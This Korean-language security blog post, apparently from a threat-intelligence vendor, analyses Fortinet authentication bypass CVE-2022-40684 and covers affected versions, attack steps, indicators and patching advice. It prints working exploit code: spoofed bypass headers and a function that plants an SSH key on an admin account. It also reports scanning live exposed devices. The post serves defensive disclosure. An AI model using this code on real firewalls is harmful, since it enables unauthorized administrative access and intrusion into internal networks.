MS Exchange Server 제로데이 취약점으로 ProxyNotshell 공격이 발생한지 한 달도 채 되지 않은 2022년 10월 7일, 이번에는 Fortinet 인증 우회 취약점인 CVE-2022-40684가 발견되었다. 이번 취약점은 Fortinet의 제품 중 Fortigate, Fortiproxy, Fortiswitch Manager 제품에서 악용되고 있으며 특히 Firmware 7.x 버전의 제품에서 발견되는 취약점이다.
이 글에서는 Paloalto와 더불어 전세계 565,000명의 고객이 이용하고 있는 Fortinet 인증 우회 취약점에 대한 분석 및 즉시 점검해야 하는 인터넷에 노출된 Fortinet을 점검하는 방법에 대해 다룬다.
CVE-2022-40684 Fortinet 인증우회 취약점 최신 업데이트 내용
10월 7일 내부 고객에게 공개한 인증우회 취약점은 곧 여러 보고서를 통해 외부에 알려졌으며, 10월 10일 영향을 받는 모든 Fortinet 제품 목록과 권고되는 사항을 모든 사람들에게 발표했다.
취약한 제품
Fortinet FortiOS 버전 7.2.0 ~ 7.2.1 및 7.0.0 ~ 7.0.6, Fortinet FortiProxy 버전 7.2.0 ~ 7.0.6 및 FortiSwitch Manager 버전 7.2.0 및 7.0.0
- FortiOS: version 5.x, 6.x는 영향받지 않음
발표된 내용에 따르면, 해커들은 해당 Version의 제품에 HTTP/HTTPS 요청을 통해 User, User의 Public ssh-key, Trusthostzone 대역 IP, fortitoken, Serial Number, FortiOS 등의 정보를 알 수 있다. 해당 공격 뿐 만 아니라 RSA키를 해당 서버에 전송해 바꿔치기 한 User ssh key로 계정을 추가하여 제품의 CLI로 접근할 수 있다. 접근에 성공하면 관리 인터페이스를 조작할 수 있기 때문에 내부망 침투가 가능하다.
공격 순서
- 취약한 서버를 획득하게 되면 로그인 할 수 있도록 admin 사용자의 SSH 키를 자신의 키로 수정
- 로컬 사용자 추가
- 인터페이스에 접근하여 네트워킹 구성 업데이트 진행
- 패킷 캡쳐, 인터페이스 관리 페이지를 통해 다른 기밀 시스템 정보를 유출
이에 Fortinet은 시스템을 즉시 검증할 것을 권고했다. 로그 중 ‘user= “Local_Process_Access”‘ 로그가 발견되면 즉각 패치 및 조치 하라는 권고이다.
PoC 코드 활용해 취약한 Fortinet 탐지
취약한 Fortinet 서버를 찾는 방법은 ‘api/v2/cmdb/system/admin’ 에 HTTP/HTTPS 요청을 하여 system 정보가 유출이 되는지 확인을 하는 것이다.
아래 Header를 전달하여 인증을 우회하도록 한다.
CVE-2022-40684 PoC 코드: https://github.com/carlosevieira/CVE-2022-40684
headers = {
"user-agent": "Node.js",
"accept-encoding": "gzip, deflate",
"Host": "127.0.0.1:9980",
"forwarded": 'by="[127.0.0.1]:80";for="[127.0.0.1]:49490";proto=http;host=',
"x-forwarded-vdom": "root",
}
취약한 서버를 찾게 되면 취약한 서버에 헤더에 key를 전달하여 ssh 인증 우회로 접근 권한을 얻을 수 있다.
CVE-2022-40684 PoC 코드: https://github.com/horizon3ai/CVE-2022-40684
def add_key(target, username, key_file):
key = format_key(key_file)
j = {
"ssh-public-key1": '\"' + key + '\"'
}
url = f'https://{target}/api/v2/cmdb/system/admin/{username}'
r = requests.put(url, headers=HEADERS, json=j, verify=False)
if 'SSH key is good' not in r.text:
print(f'[-] {target} is not vulnerable!')
else:
print(f'[+] SSH key for {username} added successfully!')
해당 PoC 코드로 외부에 열려있는 포티넷 IP 주소에 HTTP/HTTPS 를 요청하면 서버가 취약한지 최종적으로 확인할 수 있다.
방치된 채로 운영중인 Fortinet 방화벽, 즉시 점검 필요
공개된 PoC로 실제 외부 인터넷에 노출된 특정 Fortinet IP에 대해서 취약점 점검을 해보았다.
취약한 서버는 아래 그림과 같이 접근 가능한 Username과 해당 User의 권한(read-only, super_admin), SSH public key가 노출되는 것을 알 수 있다.
Firmware version은 이번에 취약한 7.2.0 version이며 Fortigate 100E 제품을 사용하는 것을 알 수 있다.

아래의 경우 admin의 SSH public key가 fake-key로 되어 있는 것으로 보아 이번 Fortinet 인증우회 취약점 피해 서버인 것으로 추정된다.

Criminal IP Asset Search에 해당 서버의 IP 주소를 검색해보면 Microsoft 소유의 IP 주소인 것을 알 수 있다. (as_name: MICROSOFT-CORP-MSN-AS-BLOCK)





CVE-2022-40684 Fortinet 인증우회 취약점 보안 점검
CVE-2022-40684 Fortinet 인증우회 취약점은 CVSS v3 기준 9.8점을 받았다. Fortinet의 취약점 패치 권고가 있고 몇 주가 지난 시점에도 아직 전세계에 취약한 상태로 방화벽 서버를 운영하고 있는 곳이 많다.
해당 취약점은 인증 우회를 통해 방화벽 CLI 접근이 가능한 취약점이므로 외부에 열려있는 서버 뿐만 아니라 내부망에서 운영중인 서버까지 위험하다. 즉시 권고에 따른 보안 업데이트를 진행하는 것이 중요하며 OS 버전 업데이트가 어렵다면 HTTP/HTTPS로 인터페이스에 접근할 수 있는 IP를 제한하거나 인터페이스를 비활성화 해야 한다.
관련하여 지난 달 발생한 MS Exchange 제로데이 취약점에 노출된 서버 탐지 방법 및 취약점 분석 글을 참고할 수 있다.
데이터 출처 : Criminal IP (https://www.criminalip.io)
관련 글 :
댓글 남기기